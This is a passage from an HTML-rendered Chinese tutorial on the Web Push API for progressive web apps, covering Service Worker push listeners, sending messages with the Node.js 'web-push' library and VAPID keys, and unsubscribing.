punctuation\">}</span>\n</code></pre>\n<p>&#x5728;&#x4E0B;&#x6587;&#x4E2D;&#x6211;&#x4EEC;&#x4E5F;&#x4F1A;&#x7EE7;&#x7EED;&#x4E86;&#x89E3;&#xFF0C;&#x5728;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x7AEF;&#x5982;&#x4F55;&#x4F7F;&#x7528; VAPID &#x534F;&#x8BAE;&#x3002;</p>\n<h2 id=\"&#x6D88;&#x606F;&#x63A8;&#x9001;\"><a name=\"&#x6D88;&#x606F;&#x63A8;&#x9001;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6D88;&#x606F;&#x63A8;&#x9001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6D88;&#x606F;&#x63A8;&#x9001;\" class=\"plugin-anchor\" href=\"#&#x6D88;&#x606F;&#x63A8;&#x9001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6D88;&#x606F;&#x63A8;&#x9001;</h2>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x4ECB;&#x7ECD;&#x5982;&#x4F55;&#x4F7F;&#x7528; Web Push &#x534F;&#x8BAE;&#x5411;&#x6D4F;&#x89C8;&#x5668;&#x53D1;&#x9001;&#x63A8;&#x9001;&#x6D88;&#x606F;&#xFF0C;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x9700;&#x8981;&#x4F9D;&#x8D56;&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x548C;&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x4E24;&#x4E2A;&#x90E8;&#x5206;&#x3002;</p>\n<h3 id=\"&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x6D88;&#x606F;\"><a name=\"&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x6D88;&#x606F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x6D88;&#x606F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x6D88;&#x606F;\" class=\"plugin-anchor\" href=\"#&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x6D88;&#x606F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x6D88;&#x606F;</h3>\n<p>&#x9996;&#x5148;&#x6211;&#x4EEC;&#x6765;&#x7814;&#x7A76;&#x6D4F;&#x89C8;&#x5668;&#x5982;&#x4F55;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x3002;&#x5728;&#x5B8C;&#x6210;&#x63A8;&#x9001;&#x8BA2;&#x9605;&#x4E4B;&#x540E;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4E0E;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x5EFA;&#x7ACB;&#x4E86;&#x901A;&#x4FE1;&#xFF0C;&#x6B64;&#x65F6;&#x6D4F;&#x89C8;&#x5668;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x76D1;&#x542C; <code>push</code> &#x4E8B;&#x4EF6;&#x6765;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x53D1;&#x9001;&#x7684;&#x6D88;&#x606F;&#x3002;</p>\n<p><code>push</code> &#x4E8B;&#x4EF6;&#x53EA;&#x4F1A;&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x89E6;&#x53D1;&#xFF0C;&#x56E0;&#x6B64;&#x53EA;&#x9700;&#x8981;&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x4E0B;&#x6CE8;&#x518C;&#x76D1;&#x542C;&#x8BE5;&#x4E8B;&#x4EF6;&#x5373;&#x53EF;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">self<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;push&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x663E;&#x793A;&#x63A8;&#x9001;&#x6D88;&#x606F;</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">.</span><span class=\"token function\">text</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x6D88;&#x606F;&#x901A;&#x8FC7;&#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x4E0B;&#x9762;&#x7684; <code>data</code> &#x5C5E;&#x6027;&#x83B7;&#x53D6;&#x3002;<code>data</code> &#x63D0;&#x4F9B;&#x4E86;&#x4EE5;&#x4E0B;&#x65B9;&#x6CD5;&#x6765;&#x5B9E;&#x73B0;&#x4E0D;&#x540C;&#x7C7B;&#x578B;&#x7684;&#x6D88;&#x606F;&#x8FDB;&#x884C;&#x89E3;&#x6790;&#xFF1A;</p>\n<ul>\n<li><code>arrayBuffer()</code>&#xFF1A;&#x5C06;&#x6D88;&#x606F;&#x89E3;&#x6790;&#x6210; ArrayBuffer &#x5BF9;&#x8C61;&#xFF1B;</li>\n<li><code>blob()</code>&#xFF1A;&#x5C06;&#x6D88;&#x606F;&#x89E3;&#x6790;&#x6210; Blob &#x5BF9;&#x8C61;&#xFF1B;</li>\n<li><code>json()</code>&#xFF1A;&#x5C06;&#x6D88;&#x606F;&#x89E3;&#x6790;&#x6210; JSON &#x5BF9;&#x8C61;&#xFF1B;</li>\n<li><code>text()</code>&#xFF1A;&#x5C06;&#x6D88;&#x606F;&#x89E3;&#x6790;&#x6210;&#x5B57;&#x7B26;&#x4E32;&#xFF1B;</li>\n</ul>\n<p>&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x5F53;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x63A8;&#x9001;&#x7684;&#x6D88;&#x606F;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x6570;&#x636E;&#x65F6;&#xFF0C;<code>data</code> &#x5C5E;&#x6027;&#x53EF;&#x80FD;&#x4E3A;&#x7A7A;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x505A;&#x597D;&#x4EE3;&#x7801;&#x5BB9;&#x9519;&#x3002;</p>\n<h3 id=\"&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x63A8;&#x9001;&#x6D88;&#x606F;\"><a name=\"&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x63A8;&#x9001;&#x6D88;&#x606F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x63A8;&#x9001;&#x6D88;&#x606F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x63A8;&#x9001;&#x6D88;&#x606F;\" class=\"plugin-anchor\" href=\"#&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x63A8;&#x9001;&#x6D88;&#x606F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x63A8;&#x9001;&#x6D88;&#x606F;</h3>\n<p>&#x5F53;&#x6D4F;&#x89C8;&#x5668;&#x505A;&#x597D;&#x63A8;&#x9001;&#x901A;&#x77E5;&#x7684;&#x63A5;&#x6536;&#x5DE5;&#x4F5C;&#x4E4B;&#x540E;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x9700;&#x8981;&#x5B9E;&#x73B0;&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x3002;&#x6B63;&#x5982;&#x524D;&#x9762;&#x6240;&#x63D0;&#x5230;&#x7684;&#x90A3;&#x6837;&#xFF0C;&#x7B2C;&#x4E09;&#x65B9;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x662F;&#x7531;&#x6D4F;&#x89C8;&#x5668;&#x51B3;&#x5B9A;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x53EF;&#x80FD;&#x5B58;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x5BF9;&#x5E94;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x63A8;&#x9001;&#x670D;&#x52A1;&#xFF0C;&#x800C;&#x4E0D;&#x540C;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x6240;&#x8981;&#x6C42;&#x7684;&#x540E;&#x7AEF;&#x914D;&#x7F6E;&#x4E5F;&#x662F;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x5F00;&#x53D1;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x9700;&#x8981;&#x9488;&#x5BF9;&#x4E0D;&#x540C;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x4E0D;&#x540C;&#x63A8;&#x9001;&#x670D;&#x52A1;&#xFF0C;&#x5F00;&#x53D1;&#x4E0D;&#x540C;&#x7684;&#x540E;&#x7AEF;&#x63A8;&#x9001;&#x670D;&#x52A1;&#xFF0C;&#x5F53;&#x7136;&#x4E5F;&#x53EF;&#x4EE5;&#x9009;&#x62E9;&#x4E00;&#x4E9B;&#x73B0;&#x6210;&#x7684;&#x8DE8;&#x5E73;&#x53F0;&#x63A8;&#x9001;&#x65B9;&#x6848;&#xFF0C;&#x5982; <a href=\"https://onesignal.com/\" target=\"_blank\">OneSignal</a>&#xFF0C;&#x8FD9;&#x4E9B;&#x8DE8;&#x5E73;&#x53F0;&#x63A8;&#x9001;&#x65B9;&#x6848;&#x5DF2;&#x7ECF;&#x96C6;&#x6210;&#x597D;&#x4E86;&#x591A;&#x79CD;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x63A8;&#x9001;&#x670D;&#x52A1;&#xFF0C;&#x4F7F;&#x5F97;&#x5F00;&#x53D1;&#x8005;&#x4E0D;&#x518D;&#x9700;&#x8981;&#x53BB;&#x5173;&#x5FC3;&#x4E0D;&#x540C;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x9002;&#x914D;&#x95EE;&#x9898;&#x3002;</p>\n<p>&#x5728;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x6F14;&#x793A;&#x4E00;&#x6BB5;&#x57FA;&#x4E8E; Chrome &#x6D4F;&#x89C8;&#x5668;&#x7684;&#x540E;&#x7AEF;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x4EE3;&#x7801;&#x3002;Chrome &#x6D4F;&#x89C8;&#x5668;&#x6240;&#x5BF9;&#x5E94;&#x7684;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x4E3A; Firebase &#x4E91;&#x670D;&#x52A1;&#xFF08;FCM&#xFF09;&#xFF0C;&#x5047;&#x8BBE;&#x5E94;&#x7528;&#x670D;&#x52A1;&#x540E;&#x7AEF;&#x4F7F;&#x7528; Node.js&#xFF0C;&#x90A3;&#x4E48;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code>web-push</code> &#x5E93;&#x6765;&#x5B9E;&#x73B0;&#x540E;&#x7AEF;&#x5411;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001;&#x6D88;&#x606F;&#x7684;&#x65B9;&#x6CD5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> webpush <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;web-push&apos;</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">const</span> vapidKeys <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  publicKey<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0&apos;</span><span class=\"token punctuation\">,</span>\n  privateKey<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;wNY2Jw8Zcw2wjfsiVzIxQB6K-ZoOkn-MS7fXxoo8w0Y&apos;</span>\n<span class=\"token punctuation\">}</span>\nwebpush<span class=\"token punctuation\">.</span><span class=\"token function\">setVapidDetails</span><span class=\"token punctuation\">(</span>\n  <span class=\"token string\">&apos;mailto:your-email@provider.com&apos;</span><span class=\"token punctuation\">,</span>\n  vapidKeys<span class=\"token punctuation\">.</span>publicKey<span class=\"token punctuation\">,</span>\n  vapidKeys<span class=\"token punctuation\">.</span>privateKey\n<span class=\"token punctuation\">)</span>\n\nwebpush<span class=\"token punctuation\">.</span><span class=\"token function\">setGCMAPIKey</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&lt;Your GCM API Key Here&gt;&apos;</span><span class=\"token punctuation\">)</span>\n\nmodule<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">exports</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">function</span> <span class=\"token function\">pushMessage</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">pushSubscription<span class=\"token punctuation\">,</span> message</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> webpush<span class=\"token punctuation\">.</span><span class=\"token function\">sendNotification</span><span class=\"token punctuation\">(</span>pushSubscription<span class=\"token punctuation\">,</span> message<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5176;&#x4E2D; <code>vapidKeys</code> &#x5C31;&#x662F;&#x751F;&#x6210;&#x7684;&#x516C;&#x94A5;&#x548C;&#x79C1;&#x94A5;&#xFF0C;&#x5B83;&#x4EEC;&#x4E5F;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>webpush.generateVAPIDKeys()</code> &#x5728;&#x7A0B;&#x5E8F;&#x8FD0;&#x884C;&#x65F6;&#x8C03;&#x7528;&#x8BE5;&#x51FD;&#x6570;&#x751F;&#x6210;&#x3002;&#x4F46;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x516C;&#x94A5;&#x548C;&#x79C1;&#x94A5;&#x53EA;&#x9700;&#x8981;&#x751F;&#x6210;&#x4E00;&#x6B21;&#xFF0C;&#x540E;&#x7EED;&#x76F4;&#x63A5;&#x4F7F;&#x7528;&#x751F;&#x6210;&#x597D;&#x7684;&#x503C;&#x5373;&#x53EF;&#x3002;&#x751F;&#x6210;&#x7684;&#x516C;&#x94A5;&#x548C;&#x79C1;&#x94A5;&#x9700;&#x8981;&#x4F20;&#x5165; <code>webpush.setVapidDetails()</code> &#x51FD;&#x6570;&#x4E2D;&#x5BF9; <code>web-push</code> &#x8FDB;&#x884C;&#x914D;&#x7F6E;&#x3002;</p>\n<p>&#x63A5;&#x7740;&#x662F; <code>webpush.setGCMAPIKey()</code>&#xFF0C;&#x8FD9;&#x4E2A;&#x51FD;&#x6570;&#x9700;&#x8981;&#x4F20;&#x5165; Firebase &#x4E91;&#x670D;&#x52A1;&#xFF08;FCM&#xFF09;&#x7533;&#x8BF7;&#x5230;&#x7684; GCMAPIKey&#x3002;</p>\n<p>&#x914D;&#x7F6E;&#x597D;&#x4E4B;&#x540E;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code>webpush.sendNotification()</code> &#x65B9;&#x6CD5;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x4E86;&#x3002;&#x8BE5;&#x65B9;&#x6CD5;&#x7B2C;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#x9700;&#x8981;&#x4F20;&#x5165; <code>pushSubscription</code>&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x63A8;&#x9001;&#x8BA2;&#x9605;&#x7684;&#x6700;&#x540E;&#x4E00;&#x6B65;&#x4E2D;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5411;&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x53D1;&#x9001;&#x7684; pushSubscription &#x5BF9;&#x8C61;&#x3002;</p>\n<p>&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x5728;&#x5B58;&#x50A8; pushSubscription &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x9700;&#x8981;&#x505A;&#x597D;&#x7528;&#x6237;&#x4FE1;&#x606F;&#x4E0E; pushSubscription &#x7684;&#x6620;&#x5C04;&#x5173;&#x7CFB;&#xFF0C;&#x8FD9;&#x6837;&#xFF0C;&#x540E;&#x7EED;&#x60F3;&#x8981;&#x7ED9;&#x54EA;&#x4E2A;&#x7528;&#x6237;&#x63A8;&#x9001;&#x6D88;&#x606F;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x83B7;&#x53D6;&#x5BF9;&#x5E94;&#x7684; pushSubscription &#x5373;&#x53EF;&#x3002;</p>\n<p><code>sendNotification()</code> &#x65B9;&#x6CD5;&#x4F20;&#x5165;&#x7684;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x5C31;&#x662F;&#x60F3;&#x8981;&#x63A8;&#x9001;&#x7ED9;&#x7528;&#x6237;&#x7684;&#x4FE1;&#x606F;&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#x662F;&#x5B57;&#x7B26;&#x4E32;&#x3001;&#x6216;&#x8005; node Buffer&#x3002;&#x6BD4;&#x5982;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>JSON.stringify(obj)</code> &#x7684;&#x65B9;&#x5F0F;&#x6765;&#x5411;&#x6D4F;&#x89C8;&#x5668;&#x63A8;&#x9001;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x4FE1;&#x606F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">webpush<span class=\"token punctuation\">.</span><span class=\"token function\">sendNotification</span><span class=\"token punctuation\">(</span>pushSubscription<span class=\"token punctuation\">,</span> <span class=\"token constant\">JSON</span><span class=\"token punctuation\">.</span><span class=\"token function\">stringify</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  msg<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;Hello World&apos;</span><span class=\"token punctuation\">,</span>\n  url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;https://www.baidu.com&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x90A3;&#x4E48;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x5C31;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5982;&#x4E0B;&#x65B9;&#x5F0F;&#x63A5;&#x6536;&#x4FE1;&#x606F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">self<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;push&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> payload <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">.</span><span class=\"token function\">json</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">.</span>msg<span class=\"token punctuation\">)</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#xFF0C;&#x5C31;&#x5B9E;&#x73B0;&#x4E86;&#x5E94;&#x7528;&#x540E;&#x7AEF;&#x5411;&#x6D4F;&#x89C8;&#x5668;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x7684;&#x6D41;&#x7A0B;&#x3002;</p>\n<h2 id=\"&#x53D6;&#x6D88;&#x8BA2;&#x9605;\"><a name=\"&#x53D6;&#x6D88;&#x8BA2;&#x9605;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x53D6;&#x6D88;&#x8BA2;&#x9605;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x53D6;&#x6D88;&#x8BA2;&#x9605;\" class=\"plugin-anchor\" href=\"#&#x53D6;&#x6D88;&#x8BA2;&#x9605;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x53D6;&#x6D88;&#x8BA2;&#x9605;</h2>\n<p>&#x5F53;&#x7F51;&#x7AD9;&#x5728;&#x5B8C;&#x6210;&#x63A8;&#x9001;&#x8BA2;&#x9605;&#x4E4B;&#x540E;&#xFF0C;Web Push API &#x4E5F;&#x63D0;&#x4F9B;&#x4E86;&#x76F8;&#x5E94;&#x7684;&#x65B9;&#x6CD5;&#x6765;&#x53D6;&#x6D88;&#x8BA2;&#x9605;&#x3002;&#x524D;&#x9762;&#x63D0;&#x5230;&#x63A8;&#x9001;&#x8BA2;&#x9605;&#x6210;&#x529F;&#x4E4B;&#x540E; <code>PushManager.subscribe()</code> &#x65B9;&#x6CD5;&#x8FD4;&#x56DE;&#x7684; <code>pushSubscription</code> &#x5BF9;&#x8C61;&#x4E0A;&#x6709;&#x4E00;&#x4E2A; <code>unsubscribe()</code> &#x5C31;&#x662F;&#x7528;&#x6765;&#x53D6;&#x6D88;&#x8BA2;&#x9605;&#x7684;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">pushSubscription<span class=\"token punctuation\">.</span><span class=\"token function\">unsubscribe</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x53D6;&#x6D88;&#x8BA2;&#x9605;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728;&#x53D6;&#x6D88;&#x8BA2;&#x9605;&#x4E4B;&#x524D;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>PushManager.getSubscription()</code> &#x65B9;&#x6CD5;&#x6765;&#x5224;&#x65AD;&#x7528;&#x6237;&#x662F;&#x5426;&#x5DF2;&#x7ECF;&#x8BA2;&#x9605;&#xFF0C;&#x5982;&#x679C;&#x7528;&#x6237;&#x5DF2;&#x7ECF;&#x8BA2;&#x9605;&#x8FC7;&#xFF0C;&#x90A3;&#x4E48;&#x8BE5;&#x51FD;&#x6570;&#x4F1A;&#x8FD4;&#x56DE; <code>pushSubscription</code> &#x5BF9;&#x8C61;&#xFF0C;&#x8FD9;&#x6837;&#x63A5;&#x4E0B;&#x6765;&#x518D;&#x8C03;&#x7528; <code>unsubscribe()</code> &#x65B9;&#x6CD5;&#x6700;&#x7EC8;&#x53D6;&#x6D88;&#x8BA2;&#x9605;&#x3002;&#x5B8C;&#x6574;&#x7684;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">registration<span class=\"token punctuation\">.</span>pushManager<span class=\"token punctuation\">.</span><span class=\"token function\">getSubscription</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">pushSubscription</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>pushSubscription<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x7528;&#x6237;&#x5C1A;&#x672A;&#x8BA2;&#x9605;</span>\n    <span class=\"token keyword\">return</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">// &#x53D6;&#x6D88;&#x8BA2;&#x9605;</span>\n  <span class=\"token keyword\">return</span> pushSubscription<span class=\"token punctuation\">.</span><span class=\"token function\">unsubscribe</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x53D6;&#x6D88;&#x8BA2;&#x9605;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"&#x7ED3;&#x5408;-notification-&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x63A8;&#x9001;\"><a name=\"&#x7ED3;&#x5408;-notification-&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x63A8;&#x9001;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7ED3;&#x5408;-notification-&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x63A8;&#x9001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7ED3;&#x5408;-notification-&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x63A8;&#x9001;\" class=\"plugin-anchor\" href=\"#&#x7ED3;&#x5408;-notification-&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x63A8;&#x9001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7ED3;&#x5408; Notification &#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x63A8;&#x9001;</h2>\n<p>&#x6709;&#x4E86; Push API&#xFF0C;&#x7ED3;&#x5408;&#x524D;&#x9762;&#x5B66;&#x4E60;&#x5230;&#x7684; Notification API &#x548C; clients&#xFF0C;&#x6211;&#x4EEC;&#x5C31;&#x80FD;&#x591F;&#x505A;&#x5230;&#x5B8C;&#x6574;&#x7684;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x63A8;&#x9001;&#x4E86;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x901A;&#x8FC7;&#x4E00;&#x4E2A;&#x4F8B;&#x5B50;&#xFF0C;&#x6765;&#x5B9E;&#x73B0;&#x5728;&#x79BB;&#x7EBF;&#x60C5;&#x51B5;&#x4E0B;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x901A;&#x77E5;&#xFF0C;&#x70B9;&#x51FB;&#x901A;&#x77E5;&#x540E;&#x81EA;&#x52A8;&#x6253;&#x5F00;&#x7F51;&#x9875;&#x7684;&#x8FD9;&#x4E48;&#x4E00;&#x4E2A;&#x529F;&#x80FD;&#x3002;</p>\n<p>&#x5728;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x8FD0;&#x884C;&#x5982;&#x4E0B;&#x547D;&#x4EE4;&#xFF0C;&#x4E0B;&#x8F7D;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x4ECE; GitHub &#x4E0B;&#x8F7D;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730; pwa-book-demo &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">git</span> clone https://github.com/lavas-project/pwa-book-demo.git\n\n<span class=\"token comment\"># &#x8FDB;&#x5165;&#x5230; chapter06/web-push &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">cd</span> chapter06/web-push\n\n<span class=\"token comment\"># &#x5B89;&#x88C5; npm &#x4F9D;&#x8D56;</span>\n$ <span class=\"token function\">npm</span> <span class=\"token 